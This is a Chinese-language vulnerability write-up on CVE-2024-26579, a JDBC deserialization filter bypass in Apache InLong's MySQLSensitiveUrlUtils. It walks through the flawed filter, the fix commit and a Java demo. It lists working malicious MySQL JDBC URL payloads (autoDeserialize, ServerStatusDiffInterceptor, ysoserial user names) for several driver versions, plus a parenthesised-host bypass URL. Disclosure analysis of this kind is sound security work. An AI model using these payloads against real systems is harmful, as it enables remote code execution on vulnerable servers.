Apache InLong < 1.12.0 JDBC反序列化漏洞分析(CVE-2024-26579)
Yu9

首发先知社区

链接:https://xz.aliyun.com/t/14616

漏洞描述

Apache InLong 是开源的高性能数据集成框架,用于业务构建基于流式的数据分析、建模和应用。

受影响版本中,由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数,攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容,绕过从而此前修复过滤逻辑,在连接攻击者可控的服务地址时,攻击者可利用该漏洞远程执行任意代码。

影响范围

org.apache.inlong:inlong-manager@[1.7.0, 1.12.0)

以上信息来自:OSCS社区

前置知识

JDBC反序列化

jdbc反序列化漏洞原理就是因为其url可控导致我们可以连接一个恶意的mysql服务器,在建立连接的过程中拿到恶意的数据导致反序列化漏洞。

fnmsd师傅总结的不同版本下的POC

ServerStatusDiffInterceptor触发:

1
2
3
4
5
6
7
8
9
10
11
12
13
8.x
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

6.x(属性名不同)
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.11及以上的5.x版本(包名没有了cj)
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

5.1.10及以下的5.1.X版本:同上,但是需要连接后执行查询。

5.0.x:还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏

detectCustomCollations触发:

1
2
3
4
5
6
7
8
9
10
11
5.1.41及以上:不可用

5.1.29-5.1.40
:jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc

5.1.28-5.1.19
:jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc

5.1.18以下的5.1.x版本:不可用

5.0.x版本不可用

关键点

拿8.0.12的来看,autoDeserialize 为True,才会进入到最后readObject()来进行一个反序列化的操作。

详细分析可以看Tri0mphe师傅的文章:小白看得懂的MySQL JDBC 反序列化漏洞分析

所以,payload中的autoDeserialize=true就必不可缺。

因为在防御JDBC反序列化漏洞时,一个思路就是检查jdbcurl中是否存在autoDeserialize=true

Apache InLong中的防御

下边我们看看Apache InLong中对JDBC反序列化漏洞是如何进行防御的,防御代码主要写在MySQLSensitiveUrlUtils这个工具类中。

路径:inlong-manager/manager-pojo/src/main/java/org/apache/inlong/manager/pojo/util/MySQLSensitiveUrlUtils.java

我们把1.11.0版本中MySQLSensitiveUrlUtils关键的代码分析一下:

定义一个常量 SENSITIVE_REPLACE_PARAM_MAP,其中包含了需要替换的敏感参数,以及它们替换后的值。这个常量是一个 Map,其中键为需要替换的参数名,值为替换后的参数值。

1
2
3
4
5
6
7
private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {
{
put("autoDeserialize", "false");
put("allowLoadLocalInfile", "false");
put("allowUrlInLocalInfile", "false");
}
};

定义另一个常量 SENSITIVE_REMOVE_PARAM_MAP,其中包含了需要删除的敏感参数。这个常量是一个 Set,其中包含了需要删除的参数名。

1
2
3
4
5
6
7
private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {

{
add("allowLoadLocalInfileInPath");
}
};

最重要的部分

首先判断输入的 URL 中是否包含问号(?)字符,如果存在参数部分,则进入处理过程。

1
if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {

创建一个 StringBuilder 对象,用于构建处理后的 URL。先将问号之前的部分加入 StringBuilder 中,并添加一个问号。

1
2
3
Copy CodeStringBuilder builder = new StringBuilder();
builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
builder.append(InlongConstants.QUESTION_MARK);

创建一个 List 对象 paramList,用于存储处理后的参数。从输入的 URL 中获取参数部分,并将其赋值给 queryString 变量。如果 queryString 中包含井号(#),则将井号之前的部分作为新的 queryString。

1
2
3
4
5
Copy CodeList<String> paramList = new ArrayList<>();
String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
if (queryString.contains("#")) {
queryString = StringUtils.substringBefore(queryString, "#");
}

遍历 queryString 中的每一个参数,将参数名和参数值分别存储到 key 和 value 变量中。然后判断该参数名是否需要替换或删除,如果是,则跳过该参数,否则将其加入 paramList 中。最后将需要替换的参数及其对应的值也加入 paramList 中。

1
2
3
4
5
6
7
8
9
10
11
Copy Codefor (String param : queryString.split(InlongConstants.AMPERSAND)) {
String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);

if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
continue;
}

paramList.add(key + InlongConstants.EQUAL + value);
}
SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));

将 paramList 中的参数用 & 符号连接起来,并加入 StringBuilder 中,最终得到处理后的 URL。

1
2
3
Copy CodeString params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
builder.append(params);
resultUrl = builder.toString();

总结

1、先取?前的部分

2、之后就是对?之后(若存在#,则是?#之间)的参数进行一个处理,比如:

queryString 的值为 “user=root&password=123456#qwe=123”,执行该段代码后,queryString 的值将被修改为 “user=root&password=123456”,然后进行一个黑名单的匹配

3、处理完之后拼接

调试

1
2
3
4
5
public static void main(String[] args) {
String url="jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc";
String s = filterSensitive(url);
System.out.println(s);
}

image-20240523015545004

一句话说就是有#,就把?和#之间的黑名单匹配;没#,就把?之后的拿出来黑名单匹配

漏洞分析

刚刚也说了,黑名单的匹配主要是对?#之间的数据匹配,那如果autoDeserialize=true不在?#之间并且url语法还正确,是不是就可以绕过了呢?(其实#的影响并不大,主要是?)

mysql⽂档中找到了一下几种形式的url格式来绕过黑名单

image-20240523021610688

比如:

payload:

1
jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test

因为不存在?,直接绕过了黑名单的判断

image-20240523022214422

漏洞修复

通过commit:https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8

image-20240523022651343

在之前原有的的黑名单处理操作前又加了一步:

1
2
3
4
for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
}

使用StringUtils.replaceIgnoreCase方法对URL字符串进行替换操作,将值为”true”或”yes”的敏感参数移除。

image-20240523023045910

测试环境

导入依赖:

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/org.apache.inlong/inlong-common -->
<dependency>
<groupId>org.apache.inlong</groupId>
<artifactId>manager-common</artifactId>
<version>1.11.0</version>
</dependency>

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example.jdbc;

import org.apache.inlong.manager.common.consts.InlongConstants;
import org.apache.inlong.manager.common.exceptions.BaseException;

import org.apache.commons.lang3.StringUtils;

import java.net.URLDecoder;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class jdbc {
private static final Map<String, String> SENSITIVE_REPLACE_PARAM_MAP = new HashMap<String, String>() {

{
put("autoDeserialize", "false");
put("allowLoadLocalInfile", "false");
put("allowUrlInLocalInfile", "false");
}
};

private static final Set<String> SENSITIVE_REMOVE_PARAM_MAP = new HashSet<String>() {

{
add("allowLoadLocalInfileInPath");
}
};

public static String filterSensitive(String url) {
if (StringUtils.isBlank(url)) {
return url;
}

try {
String resultUrl = url;
while (resultUrl.contains(InlongConstants.PERCENT)) {
resultUrl = URLDecoder.decode(resultUrl, "UTF-8");
}
resultUrl = resultUrl.replaceAll(InlongConstants.REGEX_WHITESPACE, InlongConstants.EMPTY);

// 修复代码
// for (String key : SENSITIVE_REPLACE_PARAM_MAP.keySet()) {
// resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"true", InlongConstants.EMPTY);
// resultUrl = StringUtils.replaceIgnoreCase(resultUrl, key+InlongConstants.EQUAL +"yes", InlongConstants.EMPTY);
// }

if (resultUrl.contains(InlongConstants.QUESTION_MARK)) {
StringBuilder builder = new StringBuilder();
builder.append(StringUtils.substringBefore(resultUrl, InlongConstants.QUESTION_MARK));
builder.append(InlongConstants.QUESTION_MARK);

List<String> paramList = new ArrayList<>();
String queryString = StringUtils.substringAfter(resultUrl, InlongConstants.QUESTION_MARK);
if (queryString.contains("#")) {
queryString = StringUtils.substringBefore(queryString, "#");
}
for (String param : queryString.split(InlongConstants.AMPERSAND)) {
String key = StringUtils.substringBefore(param, InlongConstants.EQUAL);
String value = StringUtils.substringAfter(param, InlongConstants.EQUAL);

if (SENSITIVE_REMOVE_PARAM_MAP.contains(key) || SENSITIVE_REPLACE_PARAM_MAP.containsKey(key)) {
continue;
}

paramList.add(key + InlongConstants.EQUAL + value);
}
SENSITIVE_REPLACE_PARAM_MAP.forEach((key, value) -> paramList.add(key + InlongConstants.EQUAL + value));

String params = StringUtils.join(paramList, InlongConstants.AMPERSAND);
builder.append(params);
resultUrl = builder.toString();
}

return resultUrl;
} catch (Exception e) {
throw new BaseException(String.format("Failed to filter MySQL sensitive URL: %s, error: %s",
url, e.getMessage()));
}
}


public static void main(String[] args) {
String url="jdbc:mysql://(host=127.0.0.1,port=3306,autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=yso_JRE8u20_calc)/test";
String s = filterSensitive(url);
System.out.println(s);
}
}

参考文章

https://xz.aliyun.com/t/8159

https://www.anquanke.com/post/id/203086

由 Hexo 驱动 & 主题 Keep
总字数 50.7k 访客数 访问量